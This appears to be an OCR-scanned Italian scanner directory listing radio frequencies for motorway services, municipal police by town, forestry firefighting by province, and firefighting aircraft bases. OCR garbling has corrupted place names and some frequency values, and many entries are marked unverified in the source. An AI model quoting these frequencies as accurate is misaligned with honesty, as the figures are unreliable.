A 23	78.425	Patmanova (UD) - Udine
	78.400	Udine - Tarvisio (UD)
A 24	78.350 (ric. reg. Lazio)	Roma est - Teramo
	78.425 (ric. reg. Abruzzo)	Roma est - Teramo
	78.375<>78.400 (simulcast)	
	(ric. regione Molise)	Roma est - Teramo
A 25	78.350 (ric. reg. Lazio)	Roma est - Pescara
	78.425 (ric. reg. Abruzzo)	Roma est - Pescara
	78.375<>78.400 (simulcast)	
	(ric. regione Molise)	Roma est - Pescara
A 26	78.425	Voltri (GE) - Alessandria
	78.375	Alessandria - Gravellona Toce (VB)
	78.375 - 79.150	Vercelli Ovest - tvrea (TO)
A 27	78.450	Mestre (VE) - Vittorio Veneto (TV)
A 26	78.425	Portogruaro (VE) - Pordenone
A 29	78.325	Patermo - Mezara dat Vatio (TP)
A 30	78.400	Caserta - Satemo (barriere Mercato)
A 31	78.350	Vicenza - Piovene Rocchette (VI)
A 32	77.450 - 77.275	Torino - Bardonecchia (TO)
Milano tangenziali	78.350	Tangenziati Est - Ovest
Torino tangenziale	78.825	Tengenziali
Genova nodo autostr.	78.375 - 78.400 - 78 425	Nodo autostradele
Bologna nodo autostr.	78.375 - 77.800	Nodo autostradale
Firenze nodo autostr.	78.400 - 78.425 - 77.400 - 78.775	Nodo autostradale
Napoti tangenzieli	non disponibile .	Tengenziali Est - Ovest
Roma gr. racc. anulare	78.375 - 78.350 - 78.425	Grande Raccordo Anulare
		Barriere nord/sud/est/ovest

AUTOSTRADE

CASELLI PEDAGGIO - SOCCORSO STRADALE - INFORMAZIONI VIABILITA'

BANDA VHF (servizi compresi nella gamma civile e commerciale FM)

LINK MASTER UHF LIMITI DI BANDA 436 - 440 446 - 448 MHz
(compresi nella gamma civile UHF)

CASELLI PEDAGGIO - SOCCORSO STRADALE

ASSEGNAZIONE	PERCORSI ASSEGNATI	FREQUENZE
Nazionale	Ambito territoriale regionale	171.900
Nazionale	Ambito territoriale regionale	172.625
Nazionale	Ambito territoriale regionale	172.650
Nazionale	Ambito territoriale regionale	172.675
Nazionale	Ambito territoriale regionale	172825
Nazionale	Ambito territoriale regionale	172.850
Nazionale	Ambito territoriale regionale	172.875

TRATTE CON UTILIZZO FREQUENZE NON COMPRESE NELL'ASSEGNAZIONE NAZIONALE

A 4	Torino - Milano (barriera Ghisolfa)	172.712,5
A 4	Torino-Milano (barriera Ghisolfa)	172.725
A 4	Verona - Venezia (Mestre Villabona)	172.725
A 4	Venezia (Mestre Bazzera) - Palmanova (UD)	172.975
A 4	Palmanova (UD) -Trieste	172.725
A 5	Torino nord - Aosta	172.662,5
A 7	Milano (barriera) - Gropello Cairoli (PV)	161.850
A 7	Gropello Cairoli (PV) - Serravalle Scrivia (AL)	161.775
A 11	Pisa nord - Lucca	172.725
A 12	Deiva Marina (SP) - Livorno	172.725
A 15	Parma - La Spezia	163.525
A 21	Torino – Piacenza	172.662,5
A 21	Piacenza - Brescia	172.725
A 23	Palmanova (UD) - Udine	172.725
A 31	Vicenza - Piovene Rocchette (VI)	172.725
A 32	Torino - Susa (TO)	172.837,5
A 32	Susa (TO) - Bardonecchia (TO)	161.700
Milano tangenziali	Tangenziali Est - Ovest	161.850

INFORMAZIONI VIABILITA’

FREQUENZE	COPERTURA D’ASCOLTO
95.900	A 7 Milano - Serravalle Scrivia (AL)
97.100	A 7 Milano - Serravalle Scrivia (AL)
100.300	A 7 Milano — Serravalla Scrivia (AL) Radio Lombardia
93.400 98.300 99.000 106.800	A 22 Brennero (BZ) - Verona nord
101.300 101.500	Regione Friuli Venezia Giulia (tratte autostradali della regione)
103.300	Isoradio (copertura quasi totale intera rete autostradale nazionale)
100.300	Milano -Tangenziali Est/Ovest Radio Lombardia

TRAFFICO VIABILITA' – POLIZIA MUNICIPALE

BANDE 156 - 175 440 - 470 MHz (servizi compresi nelle gamme civili VHF- UHF)

LOCALITA'	PROV	FREQUENZE
Abano Terme	PD	465.700
Abbiategrasso	MI	160.100
Abetone	PT	168.700
Aci Castello	CT	163.375
Acireale	CT	163.525
Acqui Terme	AL	168.587,5
Adria	RO	164.737.5
Agrate	MI	163.450
Agrigento		162.100
Agugliano	AN	163.287,5
Alassio	SV	163.450
Alba	CN	160.087,5 160.687,5
Albenga	SV	160.475
Albiate	MI	160.625
Albignasego	PD	168.075
Albisola Marina	SV	160.375
Albisola Superiore	SV	165.375
Alessandria		162.162,5
Alpignano	TO	162.225
Altavilla Irpina	AV	154.600 (da verificare)
Alzano Lombardo	BG	163.425
Ameglia	SP	160.050
Ancona		163.375
Andora	SV	150.375
Anguillara Veneta	PD	160.125
Aosta		163.450
Apiro	MC	163.600
Apnca	SO	156.475
Arcevia	AN	164.650
Arcola	SP	160.475
Arconate	MI	160.275
Arcore	MI	445.575
Arenzano	GE	164.925
Arezzo		160.775
Ariano Irpino	AV	160.500
Arluno	Ml	460.000
Arona	NO	163.300
Ascoli Piceno		163.400
Asiago	VI	160.150
Assago	Ml	160.325
Assisi	PG	162.000
Asti		160.925
Avellino		465.425
Bagnacavallo	RA	465.525
Bagnoli Irpino	AV	163.275
Ballabio	CO	160.100
Bareggio	Ml	165.025 (da verificare)
Bari		162.300 162.450
Basiglio	Ml	165.300
Bassano del Grappa	VI	165.000
Bazzano	BO	156.700
Beinasco	TO	184.587,5
Bellaria	RN	160.200
Belluno		160.500 o 161. 225

Bellusco	MI	440.575
Benevento		161.600
Bergamo		467.900 466.375
Bergeggi	SV	164.900
Bertinoro	FO	163.500
Biella		162.037,5
Binasco	MI	160.075
Bolano	SP	164.925
Bollate	MI	165.225
Bologna		160.625
Boltiere	BG	165.200
Bolzano		180.775
Bondeno	FE	163.500
Bordighera	IM	160.475
Borgaro Torinese	TO	160.650
Borghetto Santo Spirito	SV	160.250
Borgo San Dalmazzo	CN	160.612,5
Borgosesia	VC	156.925
Botticino	BS	160.075
Boves	CN	445.500
Bozzole	AL	160.512,5
Brandizzo	TO	444.650
Brà	CN	160.600
Brescia		164.600
Bresso	MI	160.412,5
Bricherasio	TO	163.275
Brindisi		162.725
Brugheno	Ml	160.550
Brugnato	SP	160.375
Buccinasco	MI	165.300
Busalla	GE	161.150
Bussero	MT	156.725
Bussoleno	TO	160.137.5
Buttigliara Alte	TO	160.050
Cairo Montenotte	SV	163.475
Caivano	NA	163.850
Caltanissetta		164.450
Camaiore	LU	163.550
Cambiago	MI	166.337,5
Cameri	NO	166.450
Camogli	GE	164.925
Campobasso		160.250
Campogalliano	MO	160.025
Campomorone	GE	163.600
Candiolo	TO	466.100
Canegrate	MI	164.725
Canetti	AT	160.562,5
Cannobio	VB	165.750
Cantù	CO	163.425
Canzo	CO	160.767,5
Caponago	MI	156.725
Capri	NA	156.975
Capurso	BA	163.425
Cerate Brianza	MI	165.125
Caravaggio	BG	162.375
Cardano al Campo	VA	160.100
Carmagnola	TO	160.225
Carpaneto Piacentino	PC	160.175
Carpi	MO	466.475
Carrara	MS	163.600
Certoceto	PS	160.025

Carugate	Ml	160.900
Casale Monferrato	AL	163.575
Casalecchio di Reno	BO	165300
Caselle Torinese	TO	164.862,5
Casorate Primo	PV	155687,5 (da verificare)
Cassina dè Pecchi	MI	160.325
Cassola	VI	165.050
Castei Giorgio	TR	162.225
Castel Goffredo	MN	164.967,5
Castel Maggiore	BO	164.525
Castelfidardo	AN	163. 462,5
Cesteifranco Emilia	MO	162.350
Castelfranco Veneto	TV	163.450
Castellammare di Stabia	NA	162.300
Castelnuovo Magra	SP	161 425
Castelnuovo Rangone	MO	164.800
Castelraimondo	MC	161 500
Cestelsantangelo	MC	459.625
Castelvetro	MO	160.175
Castiglione della Pescaia	GR	163.600
Catania		163.625<>173.987,5 (simulcast)
Catanzaro		162.4250 163.425
Cattolica	RN	160.000
Cavalese	TN	165.150
Cavallasca	CO	160.062,5
Cavarzere	VE	160.575
Cavenago Bnanza	Ml	160.100
Cavenago d’Adda	LO	160.475
Celle Ligure	SV	161.150
Cento	FE	163.500
Ceparana	SP	164.925
Cerano Intelvi	CO	166.550
Ceriale	SV	160. 575
Cernusco sul Naviglio	MI	161.475
Cervia	RA	164.775
Cervo	IM	163.267,5
Cesano Boscone	MI	165.200
Cesano Maderno	MI	160.150
Cesate	MI	441.225
Cesena	FO	465.900
Cesenatico	FO	160.575
Cava	CN	162.075
Chiaravalle	AN	165.275
Chievari	GE	162.450
Chieri	TO	160.800
Chioggia	VE	164.775
Chivasso	TO	160.800
Ciriè	TO	164.850
Cinisello Balsamo	Ml	165.075 165.275
Cistiano	Ml	160.550
Città della Pieve	PG	160.275
Cittadella	PD	164.300
Codroipo	UD	160.225
Cogoleto	GE	160.250
Collegno	TO	163.275
Cologno Monzese	Ml	160.037,5
Comacchio	FE	161.275 o 162.350
Comelico Superiore	BL	160.587,5
Como		163.450
Conselice	RA	466 975
Conversano	BA	163.400
Copparo	FE	165.300

Corbetta	MI	156.300		
Corciano	PG	160.512.5		
Corinaldo	AN	150.025		
Comaredo	MI	160.075		
Correggio	RE	160.050		
Corsico	MI	160.050		
Cortina dAmpezzo	BL	165.875		
Cosenza		162.300		
Cossato	BI	162.037.5		
Courgne	TO	162.062,5		
Crema	CR	162.175		
Cremona		172.725		
Crescentino	VC	158.675		
Crotone		162.325		
Cuggiono	MI	156.625		
Cuneo		162.325		
Cusago	MI	165.125		
Cusano Milanino	MI	441.000		
Dalmine	BG	165.200		
Desio	MI	160.537,5		
Diano Marina	IM	164.900		
Domodossola	NO	160.750		
Enna		171.900		
Eraclea	VE	165.562,5		
Erba	CO	160.767,5		
Este	PD	168.275		
Fabriano	AN	163.400		
Faenza	RA	465.775		
Falconara Marittima	AN	163.587,5		
Fano	PS	160.275		
Feltre	BL	160.500		
Fermignano	PS	166.437,5		
Ferrara		160.550		
Filottrano	AN	163.275		
Finale Ligure	SV	162.050		
Firenze		171.900	171.925	
Fivizzano	MS	160.600		
Foggia		163.400		
Foligno	PG	161.500		
Follonica	GR	160.250		
Fontaniva	PD	441.475		
Forti		163.500		
Formigine	MO	160.050		
Forte dei Marmi	LU	465.600		
Fosdinovo	MS	164.775		
Gabicce	PS	162.450		
Gaggiano	MI	160.550		
Garbagnate Milanese	MI	160.412,5		
Garda	VR	163.450	164.375	(entrambe da verificare)
Gatteo	FO	164.850		
Gatteo Mare	FO	164.600		
Gattinara	VC	160.462,5		
Gavi	AL	162.150		
Genga	AN	161.600		
Genova		163.300	163.350	154.600
Giarre	CT	163.375		
Giussano	MI	165.125		
Gorizia		160.525		
Gressoney Saint Jean	AO	160.062,5		
Grignasco	NO	165.350		
Grosseto			164.600	
Grottaminarda	AV	155.750		

Grugliasco	TO	466.550	
Guanzate	CO	160.062,5	
Guastalla	RE	466.475	
Gubbio	PG	160.225	
Imola	BO	160.225	
Imperia		163.500	
Inverigo	CO	165.075	
Inveruno	CO	156.440	(da verificare)
Ivrea	TO	162.250	
Jesi	AN	164.650	
Jesolo	VE	163.450	
Lacchiarella	MI	164.600	
Laigueglia	SV	165.375	
Lainate	MI	165.025	
La Spezia		163.600	
Lastra a Signa	FI	156.875	
Lavagna	GE	161.475	
Laveno Mombello	VA	160.037.5	
Lecce		163.375	
Lecco		160.125	
Legnago	VR	161.037,5	
Legnano	MI	160.625	
Legnaro	PD	164.775	
Leini	TO	160.100	
Lendinara	RO	160.150	
Lentate sul Seveso	MI	160.062,5	
Lerici	SP	160.575	
Levanto	SP .	161.425	
Lido di Camaior	LU	163.550	o 163.725
Lignano Sabbiadoro	UD	157.525	
Limbiate	MI	161.025	
Limena	PD	160.126	
Limone Piemont	CN	160.450	
Liscate	MI	160.050	
Lissone	MI	161.150	
Livorno		163.850	171.900
Loano	SV	161.150	
Lodi		165.350	
Lomazzo	CO	165.237,5	
Lucca		163.300	
Lugo di Ravenna	RA	465.525	
Luino	VA	165.525	
Lumarzo	GE	161.475	
Lurate Caccivio	CO	160.062,5	
Magenta	MI	160.275	
Magione	PG	162.600	
Manerba deI Garda	BS	165.112,5	
Mantova		165.475	(da verificare)
Maranello	MO	160.775	
Marano Ticino	NO	160.300	
Marina di Carrar	MS	163.600	
Marina di Massa	MS	160.000	
Marostica	VI	164.800	
Massa		465.600	
Massa Marittima	GR	168.950	
Massarosa	LU	161.150	
Mediglia	MI	156.912.5	
Melzo	MI	160.550	
Merate	LC	165.275	
Mercogliano	AV	465.425	
Messina		171.825	
Mestre	VE	165.150	

Mestrino	PD	165.175
Mezzomerico	NO	160.300
Migliarino Pisano	PI	162.437,5
Milano		157.300 157.325 157.400 158.900 160.175 160. 225 160.400
Mirabello	FE	163.500
Miradolo Terme	PD	156.525
Mirandola	MO	160.300
Misano Adriatic	FO	165.300
Modena		163.350 164.925
Mogliano March	MC	163.275
Moncalieri	TO	160.350
Mondolfo	PS	164.750
Montagnana	PD	160.287.5
Montano Lucino	CO	160.062,5
Monte San Vito	AN	165.275
Montecatini Tarme	PT	170.400
Montecosaro	MC	160.662,5 o 160.762,5
Montefelcino	PS	160.025
Montegrotto Terme	PD	164.600
Montemerano	AV	163.275
Montemarciano	AN	465.950
Monza	MI	165.275
Muggia	TS	162.200
Muggiò	MI	160.075
Napoli		165.000 165.200 165.350 165.450 165.800 165.950 165.975 167.200 167.225 167.275
Nerviano	MI	165.075
Nichelino	TO	161.587,5
Nizza Monferrat	AT	162.162,5
Noale	VE	165.200
Nove Milanese	MI	161.687,5
Novara		173.450
Novi Ligure	AL	160.200
Numana	AN	165.187,5
Oleggio	NO	160.300
Orbassano	TO	160.925
Orta San Giulio	NO	168.450
Ortonovo	SP	164.650
Orvieto	TR	160.025
Osimo	AN	163.600
Oslo Sopra	BG	165.200
Oslo Sotto	BG	165.200
Ostra	AN	164.825
Ovada	AL	162.150
Paderno Dugnan	MI	161.925
Padova		164.950
Paesana	CN	160.612,5
Palermo		165.300 171.900
Pantigliate	MI	160.325
Parma		161.900
Paullo	MI	160.475
Pavia		165.000
Peccetto Torines	TO	160.787,5
Pergola	PS	160.762,5
Pero	MI	441.050 (da verificare)
Perugia		161.625
Pesaro		162.375
Pescara		163.300 163.350 (da verificare)
Peschiera Borrorneo	MI	160.475
Peschiera del Garda	VR	160.225
Pessano con Bornago	MI	159.937,5 (da verificare)
Piacenza		160.625

Pienezza	TO	160.575				
Piazzale sul Brenta	PD	160.125				
Pietre Ligure	SV	162.050				
Pietrasante	LU	465.575				
Pieve di Cadore	BL	156.475				
Pieve di Soligo	TV	165. 000				
Pieve Emanuele	MI	444.225				
Pieve Ligure	GE	164.925				
Pievepelago	MO	164.600				
Pinerolo	TO	163.412,5				
Pioltello	MI	168.450	(da verificare)			
Piove di Sacco	PD	164.675				
Pisa		162.175				
Pistoia		162.100				
Pomigliano d'Arco	NA	162.375				
Pontasserchio	PI	162.437,5				
Ponte San Nicolò	PD	156.750				
Ponte San Pietro	BG	161.275				
Pordenone		468.862,5				
Porto Recanati	MC	163.525				
Porto Sant'Elpidio	AP	163.400				
Portofino	GE	162.375				
Portovenere	SP	162.450				
Potenza Picena	MC	163.387.5				
Pove del Grappa	VI	157.725				
Pralungo	VC	160.512.5				
Prato		161.500				
Pregnana Milanese	MI	160.575				
Quarona	VC	151.637.5				
Quiliano	SV	160.025				
Racconigi	CN	440.475				
Rapallo	GE	163.450				
Ravenna		160.025				
Recaneti	MC	160.575				
Recco	GE	161.925				
Reggio Catabria		163.325				
Reggio Emilia		466.700				
Rho	MI	165.025				
Riccione	RN	165.275				
Rimini		163.300	164.825			
Riomaggiore	SP	160.075				
Rivatta di Torino	TO	165.350				
Rivoli	TO	160.800				
Rivolta d'Adda	CR	160.475				
Roma		166.600	167.450	167.476	167.500	167.525
		445.800	466.800	(entrambe da verficare)		
Rosignano Marittimo	LI	173.875				
Rosignano Sotvay	LI	173.875				
Rossano Veneto	VI	163.450				
Rovellasca	CO	165.225				
Rovigo		465.200				
Rozzano	MI	163.425				
Rubano	PD	164.800				
Russi	RA	160.375				
Ruta	GE	164.925				
Saint Vincent	AO	163.525				
Salerno		164.750	164.775			
Saltare	PS	164.875				
Saluzzo	CN	162.787,5				
San Bartolomeo al Mare	IM	160.100				
San Benigno Canavese	TO	160.550				
San Carlo	FE	163.500				

San Cataldo	CL	163.025				
San Costanzo	PS	162.312,5				
San Donà di Piave	VE	164.876				
San Donato MiLanese	MI	162.225				
San Giorgio deI Sannio	BN	162.375				
San Giovanni in Fiore	CS	162.375				
San Giuliano Milanese	MI	165.050				
San Giuliano Terme	PI	162.437.5				
San Lazzaro di Savena	BO	160.200				
San Maurizio Canavese	TO	162.262,5				
San Mauro Torinese	TO	160.850				
San Paolo di Jesi	AN	166.112,5				
San Pietro di Feletto	TV	160.125				
San Remo	IM	163.450				
San Severino Marche	MC	161.500				
San Vito dei Normanni	BR	163.400				
Sandrigo	VI	165.150				
Santa Margherita Ligure	GE	164.925				
Sant'Agostino	FE	163.500				
Santena	TO	467.100				
Santo Stefano di Magra	SP	162.325				
Sarnico	BG	160.012.5				
Saronno	VA	160.450				
Sarzana	SP	162.375				
Sassari		465.125				
Sassuolo	MO	160.150				
Savigliano	CN	445.600				
Savona		162.075				
Scandiano	RE	161.975				
Scandicci	FI	161.725				
Selvazzano Dentro	PD	163.450				
Senago	MI	164.750				
Senigallia	AN	160.250				
Seregno	MI	169.875				
Sanate	BG	163.425				
Senno	AV	163.275				
Sesto San Giovanni	MI	160.325				
Sestri Levante	GE	162.362,5				
Settala	MI	160.412,5				
Settimo Milanes	MI	160.075				
Settimo Torinese	TO	160.812.5				
Siena		163.600				
Siracusa		163.575				
Sirmione	BS	168.587,5				
Sirolo	AN	162.137.5				
Sotaro	MI	159.987,5	(da verificare)			
Solesino	PD	156.400	160.275	(entrambe de verificare)		
Somaglia	LO	160.412,5				
Sommariva Bosco	CN	163.287,5				
Sondrio		156.400				
Sovico	MI	160.325				
Spello	PG	160.025				
Spotomo	SV	162.462,5	164.725			
Staffolo	AN	160.762,5				
Stella	SV	161.150				
Susa	TO	445.825				
Taggia	IM	160.150				
Torino		467.225	467.325	467.350	467.950	
		468.025	468.125	468.175	468.250	
Torre Annunziat	NA	162.375				
Trapani		163.600				
Trento		161.700	181.750			

Treviglio	BG	165.400
Treviso		457.025
Trezzano sul Naviglio	MI	160.050
Trezzo sull'Adda	MI	160.475
Trieste		162.200
Urbino	PS	160.200
Vado Ligure	SV	162.462,5
Valdengo	BI	162. 037.5
Valenza	AL	160.037,5
Valfabbrica	PG	162.475
Valguarnera	EN	162.450
Vallecrosia	IM	160.225
Valtournanche	AO	160.762,5
Varazze	SV	162.050
Varese		161.775
Vasto	CH	163.400
Vecchiano	PI	162.437,5
Venaria Reale	TO	160.550 o 164.950
Venezia		164.776 165.075 165.150 165.525 173.650
Ventimiglia	IM	163.600
Verbania		157.637,5 (da verificare)
Vercelli		163.275
Verona		164.800
Vezzano Ligure	SP	160.175
Viareggio	LU	468.300
Vicenza		165.000
Vigevano	PV	160.600
Vigliano Biellese	BI	156.925
Vignate	MI	160.625
Vignola	MO	160.350
Vigonza	PD	164.775
Villafranca Padovana		165.175
Vimodrone	MI	160.475
Vinovo	TO	468.337,5
Vizzolo Predabissi	MI	160.075
Voghera	PV	160.150
Volvera	TO	162.225
Zibido San Giacomo	MI	160.075

ANTINCENDI BOSCHIVI - FORESTALE

VIGILANZA PARCHI E FORESTE

BANDA 172.5 - 174 MHz (servizi compresi nella gamma civile VHF)

LINK MASTER UHF - LIMITI DI BANDA 436- 440 445- 449 MHz
(compresi nella gamma civile UHF)

DISLOCAZIONE MEZZI AEREI ANTINCENDI

AEROPORTI	AEROMOBILI	
Alghero	1 Aereo CL 215	
Bari	1 Aereo CL 415	
Cagliari	1 Elicottero CL 215	
Catania	1 Elicottero AB 212	
Cecina	1 Elicottero NH 500	
Ciampino	3 Aerei 1 CL 215 2	CL 415
Genova	1 Aereo CL 215	
Grottaglie	1 Elicottero AB 212	
Lamezia Terme	1 Aereo CL 415 1	Elicottero CH 47
Luni	1 Elicottero AB 212	
Palermo	1 Aereo CL 415	
Pescara	1 Elicottero AB 412	
Pisa	1 Aereo G222	
Pontecagnano	2 Elicotteri 1 AB 212	1 NH 500
Reggio Calabria	1 Aereo CL 415	
Urbe	2 Elicotteri 1 AB 412	1 NH 500
Viterbo	3 Elicotteri 2 CH 47	1 AB 412

Frequenze in uso ai mezzi aerei antincendi

131.550	Nazionale
141 100	Nazionale
122.150	Regione Liguria

DISTACCAMENTI STAZIONI

PER OGNI PROVINCIA VENGONO RIPORTATI I DISTACCAMENTI E LE STAZIONI DIPENDENTI

POTREBBE VERIFICARSI L'UTILIZZO DI FREQUENZE DIVERSE DA QUELLE ASSEGNATE A LIVELLO
PROVINCIALE INSERITE IN QUESTA TABELLA NAZIONALE VERRA' PERTANTO RIPORTATO AL TERMINE L'INTERO ELENCO DELLE FREQUENZE UTILIZZATE PER POTER EFFETTUARE UN EVENTUALE VERIFICA NEGLI ASCOLTI A LIVELLO DI OGNI SINGOLA PROVINCIA DI APPARTENZA

PROVINCIE E LOCALITA'	FREQUENZE
—	
Agrigento	172.925 173.025
Burgio	
Ribera	
Sambuca di Sicilia	
San Giovanni Gemini (località Camrnarata)	
Alessandria	172.950 173.050
Acqui Terme	
Cabella Ligure	
Ovada	
San Sebastiano Curone	
Stazzano	
Ancona	172.925 172.975 173.037,5 173.075
Arcevia	
Fabriano	
Genga	
Sassoferrato	
Aosta	162.025 163.750 166.050 166.350 172.975 173.075
Aymavilles (località Frazione Cheriette)	
Antey — Saint Andrè (località Champagne)	
Arvier	
Brusson	
Chatillon	
Etroubles	
Gaby	
Morgex	
Nus	
Pontboset	
Pont — Saint Martin	
Prè—Saint Didier	
Saint Christophe (località Grande Charriere)	
Valpelline (località Capoluogo)	
Verres	
Villeneuve	
Arezzo	172.925 173.025 173.575
Montecchio	
Piave Santo Stefano	
Poppi (Località Camaldoli)	
Pratovecchio	
Sansepolcro	
Ascoli Piceno	172.925 172.937,5 172.987,5 173.025 173.062,5
Acquasanta Terme	
Amendola	
Arquata del Tronto	
Castignano	
Comunanza	
Fermo	
Montefortino (località Madonna del Fonte)	
Montegallo	
Montemonaco	
Asti	172.987,5
Bubbio	
Avellino	172.975 173.075

Torre le Nocelle

Bari 172.900<>172.937,5<>173.012,5 (simulcast) 172.975 173.075
Acquaviva delle Fonti
Alberobello
Altamura
Cassano delle Murge
Corato
Gioia del Colle
Gravina in Puglia
Noci
Spinazzola

Belluno 172.925 173.025 172.800 (regionale)
Agordo
Alleghe
Auronzo di Cadore
Barca di Cadore
Canale d'Agordo
Comelico Superiore
Cortina d’Ampezzo
Feltre
Fanzaso
Fregona
Livinallongo del Col di Lana
Longarone
Lazzo di Cadore
Mei
Puos d'Alpago
Santa Stefano di Cadore
Sappada
Sadico

Benevento 172.900 173.000
Ceppaloni

Bergamo 172.900 173.000 173.520 173.532,5
Caprina Bergamasco
Clusone
Curno
Gromo
Piazza Brembana
Sernico
Spinone al Lago
Trascore Balneario
Vertova
Villa d'Almè
Vilminore di Scalve

Biella 172.925 172.950 173.025
Trivero

Bologna 165.925 166.350 172.975 173.075
Camugnano
Costei del Rio
Costei di Casio
Castiglione dei Pepoli
Gaggio Montano
Lizzano in Belvedere
Monghidoro
Monterenzio
Monzuno

Porretta Terme
San Benedetto Val di Sambra
Savigno
Vergato

Bolzano 162.425 163.475 172.900 173.000
DISTACCAMENTI E STAZIONI NON DISPONIBILI

Brescia 172.937.5 173. 037.5 173.520
Bagolino (località Valle Sabbia>
Sarno
Bovegno (località Predando)
Breno
Capo di Ponte
Capavalle
Cedagolo
Concesio
Corteno Golgi
Darfo — Boario Terme
Edolo
Gardone Val Trompia
Gargnano
Gavardo
Idro
Iseo
Pisogne
Ponte di Legno
Sabbio Chiese
Salò
Tremosine
Vestone
Vezza d'Oglio

Brindisi 172.937,5<>1 73.000 (simulcast) 172.950 173.050
DISTACCAMENTI E STAZIONI NON DISPONIBILI

Cagliari 172.962,5 173.025
DISTACCAMENTI E STAZIONI NON DISPONIBILI

Caltanissetta 172.937,5 173.037,5
Mazzarino
Mussomeli (località Contrada Polizzello)
Niscemi
Sutera

Campobasso 172.925<> 1 73.025<>173.087,5 (simulcast)
Bojano
Casacalenda (località Contrada Monte)
Civitacampomarano
Montagano
Montefalcone nel Sannio
Petacciato (località Petacciato Scalo)
Riccia
San Giuliano del Sannio
SantElia a Pianisi
Sepino
Torella del Sannio
Trivento

Caserta 172.962,5 173.012,5 173.062,5
Caiazzo
Calvi Risorta

Castel Volturno
Letino
Piedimonte Matese
Pietramelara
Prata Sannita
Roccamonfina
San Gregorio Matese
Sessa Aurunca (località Adrianea)
Vairano Petenora

Catania 172.975 173.050 173.075
Adrano
Bronte
Giarre
Linguaglossa
Nicolosi
Randazzo
Vizzini

Catanzaro 172.937.5 173.037,5 173. 125
Caraffa di Catanzaro
Cardinale (località Novalba)
Davoli
Decollatura
Girifalco
Lamezia Terme
Maida
Nocera Tirinese
Petrizzi
San Vito sullo Ionio
Santa Caterina dello lonio
Savelli
Serrastretta
Sersale
Tiriolo
Zagarise

Chieti 172.900 173.000
Casoli
Castglione Messer Marino
Gissi
Fara San Martino
Guardiagrele
Lanciano
Montazzoli
Palena
Palmoli
Palombaro
Pretoro
Rosello
Santa Maria Imbaro
Torrebruna
Torricella Peligna
Vasto
Villa Santa Maria

Como 172.795 172.950 172.975 173.050
Appiano Gentile

Asso
Carlazzo
Gera Lario

Menaggio (Frazione Loveno)
Pellio tntelvi (località Selva)
Ponte Chiasso

Cosenza 172.962,5 173.062,5 173.100
Acri
Aprigliano
Bocchigliero
Campana
Castrovillari
Cerchiara di Calabria
Cerzeto
Civita
Corigliano Calabro
Cropalati
Dipignano
Domanico
Fagnano Castello
Fuscaldo
Grimaldi
Grisolia
Laino Borgo
Longobardi
Longobucco
Lungro
Mendicino
Montalto Uffugo
Morano Calabra
Mormanno
Oriolo
Orsomarso
Paola
Rogliano
Rose
Rossano
Rota Greca
San Demetrio Corone
San Donato di Ninea
San Fili
San Giovanni in Fiore
San Marco Argentano
San Pietro in Guarano (Frazione Redipiano)
San Sosti
Sant'Agata di Esaro
Saracena
Scigliano
Spezzano della Sua
Tortona
Trebisacce
Verbicaro

Cremona 172962,5 173.012,5 173062,5
DISTACCAMENTI E STAZIONI NON DISPONIBILI

Crotone 172.937,5 173.037,5
Cotronei
San Nicola dell'Alto

Cuneo 172.925 172.937.5 173.025
Alba
Barge
Borgo San Dalmazzo

Caraglio
Ceva
Chiusa di Pesio
Cortemitia
Demonte
Dronero
Garessio
Mondovì
Ormea
Saluzzo
Sampeyre
Villanova Mondovi

Enna 163.750 165.575 172.9125 173.000 173.012,5
Nicosia (localilà Contrada Magnana)
Piazza Armerina
Troina

Ferrara 166050 166.075 172.900 173.000
Comacchio (località Volano)
Mesola (località Bosco Mesola)

Firenze 172.900 172.912,5 173.000<>173.750 (simulcast) 173.012.5
Barberino di Mugello
Borgo San Lorenzo
Dicamana
Empoli
Firenzuola (località Covigliaio)
Greve in Chianti
Marradi
Montaione
Palazzuolo sul Senio (località PalazzuoIo dei Capitani)
Reggello
Rufina
San Casciano in Val di Pesa
San Pietro a Sieve (località Fortuna)
Sesto Fiorentino
Tevernelle Val di Pesa

Foggia 172.912.5<>172.950 (simulcast) 173.050
Accadia
Ascoli Satriano
Biccari
Cagnano Varano
Deliceto
Lesina
Manfredonia
Margherita di Savoia
Mattinata
Monte Sant’Angelo (località Foresta Umbra)
Orsora di Puglia
Roseto Valfortore
San Giovanni Rotondo
Sennicandro Garganico
Serracapriola
Vico dei Gargano
Vieste (località Mandrione)
Volturara Appula

Forlì 165.925 166.250 172.962,5 172.975<>173.062,5 (simulcast)
Bagno di Romagna (località San Pietro in Bagno)
Civitella di Romagna

Mercato Saraceno
Portico di Romagna (località Acquacheta)
Predappio
Premilcuore
Rocca San Casciano
Santa Sofia (località Campigna)
Sarsina
Sogliano al Rubicone
Tredozio
Verghereto

Frosinone 172.937,5 173.037,5
Alatri
Anagli
Atina
Cassino
Castro dei Volsci
Ceccano
Ceprano
Filettino
Fiuggi
Guarcino
Picinisco
Pontecorvo
San Donato Val di Comino
Sora
Vallerotonda

Genova 172.775 172.925 173.050 (regionale) 173.575 (regionale) (da verif.)
Arenzano
Borzonasca
Busalla (località Sorrisola)
Casarza Ligure
Cicagna
Lavagna
Masone
Maconesi (località Gattorna)
Montoggio (località Taverna)
Rezzoaglio
Rovegno
Santo Stefano dAveto

Gorizia 172.962,5 173.062,5
DISTACCAMENTI E STAZIONI NON DISPONIBILI

Grosseto 172.787.5 172.912,5 173.012.5 173.500 173.575
Castei del Piano
Castell'Azzara
Castiglione della Pescaia
Civitella Paganico
Manciano
Massa Marittima
Monte Argentario
Monterotondo Marittimo
Montieri
Orbetello
Roccastrada
Santa Fiora
Scansano

Imperia 172.950 172.975 173.050 (regionale) 173.575 (regionale)
(da verif.)
Badalucco
Baiardo
Pieve di Teco
Pigna
Pontedassio
Rocchetta Nervina
San Remo
Triora
Ventimiglia

Isernia 172.987,5
Agnone
Carovilli
Carpinone
Colli a Volturno
Porti del Sannio
Frosolone
Monteroduni
Pescopennataro
Pizzone
Roccamandolfi i
San Pietro Avellana
Venafro

La Spezia 172.750 172.950 173.050 (regionale) 173.575 (regionale)
(da verif.)
Borghetto Vara
Brugnato
Carrodano di Mattarana
Pollo
Levanto
Sarzana
Sesta Godano
Varese Ligure

Latina 172.900 172.962,5 173.000
Cori (località Contrada Chiusa)
Fondi
Itri
Priverno
Sabaudia
Sezze
Spigno Saturnia
Terracina

Lecce 172.975 173.075
DISTACCAMENTI E STAZIONI NON DISPONIBILI

Lecco 172.795 172.950 172.975 173.050
Barzio
Dervio
Margno

